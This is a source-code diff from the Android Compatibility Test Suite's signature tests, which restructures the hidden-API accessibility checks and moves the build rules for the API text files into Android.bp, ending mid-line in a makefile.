@@ -55,13 +55,38 @@
         DexMemberChecker.init();
     }
 
+    // We have four methods to split up the load, keeping individual test runs small.
+
+    private final static Predicate<DexMember> METHOD_FILTER =
+            dexMember -> (dexMember instanceof DexMethod);
+
+    private final static Predicate<DexMember> FIELD_FILTER =
+            dexMember -> (dexMember instanceof DexField);
+
+    public void testSignatureMethodsThroughReflection() {
+        doTestSignature(METHOD_FILTER,/* reflection= */ true, /* jni= */ false);
+    }
+
+    public void testSignatureMethodsThroughJni() {
+        doTestSignature(METHOD_FILTER, /* reflection= */ false, /* jni= */ true);
+    }
+
+    public void testSignatureFieldsThroughReflection() {
+        doTestSignature(FIELD_FILTER, /* reflection= */ true, /* jni= */ false);
+    }
+
+    public void testSignatureFieldsThroughJni() {
+        doTestSignature(FIELD_FILTER, /* reflection= */ false, /* jni= */ true);
+    }
+
     /**
      * Tests that the device does not expose APIs on the provided lists of
      * DEX signatures.
      *
      * Will check the entire API, and then report the complete list of failures
      */
-    public void testSignature() {
+    private void doTestSignature(Predicate<DexMember> memberFilter, boolean reflection,
+            boolean jni) {
         runWithTestResultObserver(resultObserver -> {
             DexMemberChecker.Observer observer = new DexMemberChecker.Observer() {
                 @Override
@@ -71,55 +96,114 @@
                 @Override
                 public void fieldAccessibleViaReflection(boolean accessible, DexField field) {
                     if (accessible) {
-                        resultObserver.notifyFailure(
-                                FailureType.EXTRA_FIELD,
-                                field.toString(),
-                                "Hidden field accessible through reflection");
+                        synchronized(resultObserver) {
+                            resultObserver.notifyFailure(
+                                    FailureType.EXTRA_FIELD,
+                                    field.toString(),
+                                    "Hidden field accessible through reflection");
+                        }
                     }
                 }
 
                 @Override
                 public void fieldAccessibleViaJni(boolean accessible, DexField field) {
                     if (accessible) {
-                        resultObserver.notifyFailure(
-                                FailureType.EXTRA_FIELD,
-                                field.toString(),
-                                "Hidden field accessible through JNI");
+                        synchronized(resultObserver) {
+                            resultObserver.notifyFailure(
+                                    FailureType.EXTRA_FIELD,
+                                    field.toString(),
+                                    "Hidden field accessible through JNI");
+                        }
                     }
                 }
 
                 @Override
                 public void methodAccessibleViaReflection(boolean accessible, DexMethod method) {
                     if (accessible) {
-                        resultObserver.notifyFailure(
-                                FailureType.EXTRA_METHOD,
-                                method.toString(),
-                                "Hidden method accessible through reflection");
+                        synchronized(resultObserver) {
+                            resultObserver.notifyFailure(
+                                    FailureType.EXTRA_METHOD,
+                                    method.toString(),
+                                    "Hidden method accessible through reflection");
+                        }
                     }
                 }
 
                 @Override
                 public void methodAccessibleViaJni(boolean accessible, DexMethod method) {
                     if (accessible) {
-                        resultObserver.notifyFailure(
-                                FailureType.EXTRA_METHOD,
-                                method.toString(),
-                                "Hidden method accessible through JNI");
+                        synchronized(resultObserver) {
+                            resultObserver.notifyFailure(
+                                    FailureType.EXTRA_METHOD,
+                                    method.toString(),
+                                    "Hidden method accessible through JNI");
+                        }
                     }
                 }
             };
-            parseDexApiFilesAsStream(hiddenApiFiles).forEach(dexMember -> {
-                DexMemberChecker.checkSingleMember(dexMember, observer);
-            });
+            parseDexApiResourcesAsStream(hiddenapiFiles)
+                    .filter(memberFilter)
+                    .forEach(dexMember -> {
+                        if (shouldTestMember(dexMember)) {
+                            DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
+                                    observer);
+                        }
+                    });
         });
     }
 
-    private static Stream<DexMember> parseDexApiFilesAsStream(String[] apiFiles) {
+    private Stream<DexMember> parseDexApiResourcesAsStream(String[] apiFiles) {
         DexApiDocumentParser dexApiDocumentParser = new DexApiDocumentParser();
-        return Stream.of(apiFiles)
-                .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
-                .flatMap(file -> readFile(file))
-                .flatMap(stream -> dexApiDocumentParser.parseAsStream(stream));
+        // To allow parallelization with a DexMember output type, we need two
+        // pipes.
+        Stream<Stream<DexMember>> inputsAsStreams = Stream.of(apiFiles).parallel()
+                .flatMap(this::readResourceOptimized)
+                .map(dexApiDocumentParser::parseAsStream);
+        // The flatMap inherently serializes the pipe. The number of inputs is
+        // still small here, so reduce by concatenating (note the caveats of
+        // concats).
+        return inputsAsStreams.reduce(null, (prev, stream) -> {
+            if (prev == null) {
+                return stream;
+            }
+            return Stream.concat(prev, stream);
+        });
+    }
+
+    private Stream<Object> readResourceOptimized(String resourceName) {
+        try {
+            VirtualPath.ResourcePath resourcePath =
+                    VirtualPath.get(getClass().getClassLoader(), resourceName);
+            // Extract to a temporary file and read from there. Accessing it via an InputStream
+            // directly is too slow because the file has to be read serially and that results in
+            // the tests taking too long. Saving it as a file allows it to be mapped as a
+            // ByteBuffer and processed in parallel.
+            Path file = extractResourceToFile(resourceName, resourcePath.newInputStream());
+
+            // Map the file into a ByteBuffer, see http://b/123986482 for some background.
+            try (FileChannel fileChannel = (FileChannel) Files.newByteChannel(file,
+                    EnumSet.of(StandardOpenOption.READ))) {
+                ByteBuffer mappedByteBuffer = fileChannel.map(FileChannel.MapMode.READ_ONLY, 0,
+                        fileChannel.size());
+                if (mappedByteBuffer == null) {
+                    throw new IllegalStateException("Could not map " + file);
+                }
+                return Stream.of(mappedByteBuffer);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private boolean shouldTestMember(DexMember member) {
+        for (String testFlag : hiddenapiTestFlags) {
+            for (String memberFlag : member.getHiddenapiFlags()) {
+                if (testFlag.equals(memberFlag)) {
+                    return true;
+                }
+            }
+        }
+        return false;
     }
 
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index fadf748..937d074 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -23,13 +23,11 @@
 import android.signature.cts.FailureType;
 import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.ReflectionHelper;
-import java.io.IOException;
 import java.util.Comparator;
 import java.util.Set;
 import java.util.TreeSet;
 import java.util.function.Predicate;
 import java.util.stream.Collectors;
-import org.xmlpull.v1.XmlPullParserException;
 
 /**
  * Performs the signature check via a JUnit test.
@@ -38,12 +36,12 @@
 
     private static final String TAG = SignatureTest.class.getSimpleName();
 
-    private String[] expectedApiFiles;
-    private String[] baseApiFiles;
+    protected String[] expectedApiFiles;
+    protected String[] baseApiFiles;
     private String[] unexpectedApiFiles;
 
     @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
+    protected void initializeFromArgs(Bundle instrumentationArgs) {
         expectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
         baseApiFiles = getCommaSeparatedList(instrumentationArgs, "base-api-files");
         unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
@@ -75,7 +73,7 @@
 
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-            parseApiFilesAsStream(apiDocumentParser, expectedApiFiles)
+            parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
                     .filter(not(unexpectedClasses::contains))
                     .forEach(complianceChecker::checkSignatureCompliance);
 
@@ -97,11 +95,9 @@
         }
     }
 
-    private Set<JDiffClassDescription> loadUnexpectedClasses()
-            throws IOException, XmlPullParserException {
-
+    private Set<JDiffClassDescription> loadUnexpectedClasses() {
         ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
-        return parseApiFilesAsStream(apiDocumentParser, unexpectedApiFiles)
+        return parseApiResourcesAsStream(apiDocumentParser, unexpectedApiFiles)
                 .collect(Collectors.toCollection(SignatureTest::newSetOfClassDescriptions));
     }
 
@@ -109,12 +105,9 @@
         return new TreeSet<>(Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
     }
 
-    private void loadBaseClasses(ApiComplianceChecker complianceChecker)
-            throws IOException, XmlPullParserException {
-
-        ApiDocumentParser apiDocumentParser =
-                new ApiDocumentParser(TAG);
-        parseApiFilesAsStream(apiDocumentParser, baseApiFiles)
+    private void loadBaseClasses(ApiComplianceChecker complianceChecker) {
+        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+        parseApiResourcesAsStream(apiDocumentParser, baseApiFiles)
                 .forEach(complianceChecker::addBaseClass);
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/TestResultObserver.java b/tests/signature/api-check/src/java/android/signature/cts/api/TestResultObserver.java
index a3ea203..715cf2f 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/TestResultObserver.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/TestResultObserver.java
@@ -25,17 +25,23 @@
 class TestResultObserver implements ResultObserver {
 
     boolean mDidFail = false;
+    int failures = 0;
 
     StringBuilder mErrorString = new StringBuilder();
 
     @Override
     public void notifyFailure(FailureType type, String name, String errorMessage) {
         mDidFail = true;
-        mErrorString.append("\n");
-        mErrorString.append(type.toString().toLowerCase());
-        mErrorString.append(":\t");
-        mErrorString.append(name);
-        mErrorString.append("\tError: ");
-        mErrorString.append(errorMessage);
+        failures++;
+        if (failures <= 100) {
+            mErrorString.append("\n");
+            mErrorString.append(type.toString().toLowerCase());
+            mErrorString.append(":\t");
+            mErrorString.append(name);
+            mErrorString.append("\tError: ");
+            mErrorString.append(errorMessage);
+        } else if (failures == 101) {
+            mErrorString.append("\nMore than 100 failures, more errors will be elided.");
+        }
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/WhitelistKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/WhitelistKillswitchTest.java
index 8eade1d..52e93d2 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/WhitelistKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/WhitelistKillswitchTest.java
@@ -16,8 +16,6 @@
 
 package android.signature.cts.api;
 
-import android.signature.cts.DexMemberChecker;
-
 public class WhitelistKillswitchTest extends BaseKillswitchTest {
     @Override
     protected void setUp() throws Exception {
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java
index 32d352f..b7aa0dd 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java
@@ -16,8 +16,6 @@
 
 package android.signature.cts.api;
 
-import android.signature.cts.DexMemberChecker;
-
 public class WildcardKillswitchTest extends BaseKillswitchTest {
     @Override
     protected void setUp() throws Exception {
diff --git a/tests/signature/api-check/system-annotation/Android.bp b/tests/signature/api-check/system-annotation/Android.bp
new file mode 100644
index 0000000..b423593
--- /dev/null
+++ b/tests/signature/api-check/system-annotation/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSystemApiAnnotationTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+    java_resources: [
+        ":cts-system-current-txt",
+        ":cts-system-removed-txt",
+        ":cts-car-system-current-txt",
+        ":cts-car-system-removed-txt",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/system-annotation/Android.mk b/tests/signature/api-check/system-annotation/Android.mk
deleted file mode 100644
index 680e422..0000000
--- a/tests/signature/api-check/system-annotation/Android.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSystemApiAnnotationTestCases
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
-LOCAL_SIGNATURE_API_FILES := \
-    system-current.api \
-    system-removed.api \
-    car-system-current.api \
-    car-system-removed.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/system-annotation/AndroidManifest.xml b/tests/signature/api-check/system-annotation/AndroidManifest.xml
index 7753fb9..13258c2 100644
--- a/tests/signature/api-check/system-annotation/AndroidManifest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidManifest.xml
@@ -16,11 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.system_annotation">
+          package="android.signature.cts.api.system_annotation"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application android:debuggable="true"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
+
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
 
     <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
                      android:targetPackage="android.signature.cts.api.system_annotation"
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 5d2f13f..70db574 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -16,22 +16,8 @@
 <configuration description="Config for CTS System Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="car-system-current.api->/data/local/tmp/signature-test/car-system-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="car-system-removed.api->/data/local/tmp/signature-test/car-system-removed.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiAnnotationTestCases.apk" />
@@ -40,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.system_annotation" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.AnnotationTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api,system-removed.api,car-system-current.api,car-system-removed.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.txt,system-removed.txt,car-system-current.txt,car-system-removed.txt" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
         <option name="runtime-hint" value="30s" />
     </test>
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index b94300f..78f114b 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -53,7 +53,7 @@
 
                 ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-                parseApiFilesAsStream(apiDocumentParser, expectedApiFiles)
+                parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
                         .forEach(complianceChecker::checkSignatureCompliance);
 
                 // After done parsing all expected API files, perform any deferred checks.
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index e795a6d..7605f85 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -14,37 +14,46 @@
 
 LOCAL_PATH := $(call my-dir)
 
-all_system_api_files := system-current.api system-removed.api
+all_system_api_modules :=
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
-    $(eval all_system_api_files += system-$(ver).api)\
+    $(eval all_system_api_modules += system-$(ver).txt)\
   )\
 )
+all_system_api_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_system_api_modules))
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-system-all.api
-LOCAL_MODULE_STEM := system-all.api.zip
+LOCAL_MODULE := cts-system-all.txt
+LOCAL_MODULE_STEM := system-all.txt.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE): $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_system_api_files))
+$(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
+$(LOCAL_BUILT_MODULE): PRIVATE_SYSTEM_API_FILES := $(all_system_api_files)
+$(LOCAL_BUILT_MODULE): $(all_system_api_files)
 	@echo "Zip API files $^ -> $@"
 	@mkdir -p $(dir $@)
 	$(hide) rm -f $@
-	$(hide) zip -q $@ $^
+	$(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SYSTEM_API_FILES))
+
+all_system_api_zip_file := $(LOCAL_BUILT_MODULE)
 
 include $(CLEAR_VARS)
 
 LOCAL_PACKAGE_NAME := CtsSystemApiSignatureTestCases
 
+LOCAL_JAVA_RESOURCE_FILES := $(all_system_api_zip_file)
+
 LOCAL_SIGNATURE_API_FILES := \
-    current.api \
-    android-test-mock-current.api \
-    android-test-runner-current.api \
-    $(all_sytem_api_files) \
-    system-all.api.zip
+    current.txt \
+    android-test-mock-current.txt \
+    android-test-runner-current.txt \
+    system-current.txt \
+    system-removed.txt \
 
 include $(LOCAL_PATH)/../build_signature_apk.mk
 
 all_system_api_files :=
+all_system_api_modules :=
+all_system_api_zip_file :=
diff --git a/tests/signature/api-check/system-api/AndroidManifest.xml b/tests/signature/api-check/system-api/AndroidManifest.xml
index 1f7bed8..7906164 100644
--- a/tests/signature/api-check/system-api/AndroidManifest.xml
+++ b/tests/signature/api-check/system-api/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.system">
+          package="android.signature.cts.api.system"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application/>
+    <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
                      android:targetPackage="android.signature.cts.api.system"
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 5f70478..3368b77 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -16,17 +16,8 @@
 <configuration description="Config for CTS System API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
-        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
-        <!-- This zip file contains all versions of system APIs that the platform is supposed to implement -->
-        <option name="push" value="system-all.api.zip->/data/local/tmp/signature-test/system-all.api.zip" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiSignatureTestCases.apk" />
@@ -34,10 +25,10 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.system" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.api" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-all.api.zip" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="class" value="android.signature.cts.api.system.SignatureTest" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.txt,system-removed.txt,system-all.txt.zip" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.txt,android-test-runner-current.txt" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java b/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java
new file mode 100644
index 0000000..5316e31
--- /dev/null
+++ b/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.system;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
new file mode 100644
index 0000000..8c3e12a
--- /dev/null
+++ b/tests/signature/api/Android.bp
@@ -0,0 +1,126 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+default_visibility = [
+    "//cts/tests/signature/api-check:__subpackages__",
+    "//cts/tests/signature/intent-check",
+]
+
+genrule {
+    name: "cts-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":frameworks-base-api-current.txt",
+    ],
+    out: [
+        "current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-system-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":frameworks-base-api-system-current.txt",
+    ],
+    out: [
+        "system-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-system-removed-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":frameworks-base-api-system-removed.txt",
+    ],
+    out: [
+        "system-removed.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-android-test-base-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":android-test-base-current.txt",
+    ],
+    out: [
+        "android-test-base-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-android-test-mock-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":android-test-mock-current.txt",
+    ],
+    out: [
+        "android-test-mock-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-android-test-runner-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":android-test-runner-current.txt",
+    ],
+    out: [
+        "android-test-runner-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-apache-http-legacy-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":apache-http-legacy-current.txt",
+    ],
+    out: [
+        "apache-http-legacy-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-car-system-current-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":car-api-system-current.txt",
+    ],
+    out: [
+        "car-system-current.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+genrule {
+    name: "cts-car-system-removed-txt",
+    visibility: default_visibility,
+    srcs: [
+        ":car-api-system-removed.txt",
+    ],
+    out: [
+        "car-system-removed.txt",
+    ],
+    cmd: "cp $(in) $(out)",
+}
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index c9c2a60..6e7f13c 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -16,62 +16,28 @@
 
 LOCAL_PATH := $(call my-dir)
 
-# $(1) name of the xml file to be created
+# $(1) name of the txt file to be created
 # $(2) path to the api text file
-define build_xml_api_file
+define copy_api_txt_file
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-$(subst .,-,$(1))
 LOCAL_MODULE_STEM := $(1)
 LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
 $$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
-	@echo "Convert API file $$< -> $$@"
-	@mkdir -p $$(dir $$@)
-	$(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
+	@echo "Copying API file $$< -> $$@"
+	$$(copy-file-to-target)
 endef
 
-# NOTE: the output XML file is also used
-# in //cts/hostsidetests/devicepolicy/AndroidTest.xml
-# by com.android.cts.managedprofile.CurrentApiHelper
-# ============================================================
-$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
-$(eval $(call build_xml_api_file,system-current.api,frameworks/base/api/system-current.txt))
-$(eval $(call build_xml_api_file,system-removed.api,frameworks/base/api/system-removed.txt))
-$(eval $(call build_xml_api_file,android-test-base-current.api,frameworks/base/test-base/api/android-test-base-current.txt))
-$(eval $(call build_xml_api_file,android-test-mock-current.api,frameworks/base/test-mock/api/android-test-mock-current.txt))
-$(eval $(call build_xml_api_file,android-test-runner-current.api,frameworks/base/test-runner/api/android-test-runner-current.txt))
-$(eval $(call build_xml_api_file,car-system-current.api,packages/services/Car/car-lib/api/system-current.txt))
-$(eval $(call build_xml_api_file,car-system-removed.api,packages/services/Car/car-lib/api/system-removed.txt))
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
-    $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/system-api/$(ver).txt))\
+    $(eval $(call copy_api_txt_file,system-$(ver).txt,prebuilts/sdk/$(ver)/system/api/android.txt))\
   )\
 )
 
-# current apache-http-legacy minus current api, in text format.
-# =============================================================
-# Removes any classes from the org.apache.http.legacy API description that are
-# also part of the Android API description.
-include $(CLEAR_VARS)
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := cts-apache-http-legacy-minus-current-api
-LOCAL_MODULE_STEM := apache-http-legacy-minus-current.api
-
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE) : \
-        frameworks/base/api/current.txt \
-        external/apache-http/api/apache-http-legacy-current.txt \
-        | $(APICHECK)
-	@echo "Generate unique Apache Http Legacy API file -> $@"
-	@mkdir -p $(dir $@)
-	$(hide) $(APICHECK_COMMAND) -new_api_no_strip \
-	        frameworks/base/api/current.txt \
-            external/apache-http/api/apache-http-legacy-current.txt \
-            $@
+$(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
+  $(foreach api_level,public system,\
+    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out incompatibilities,\
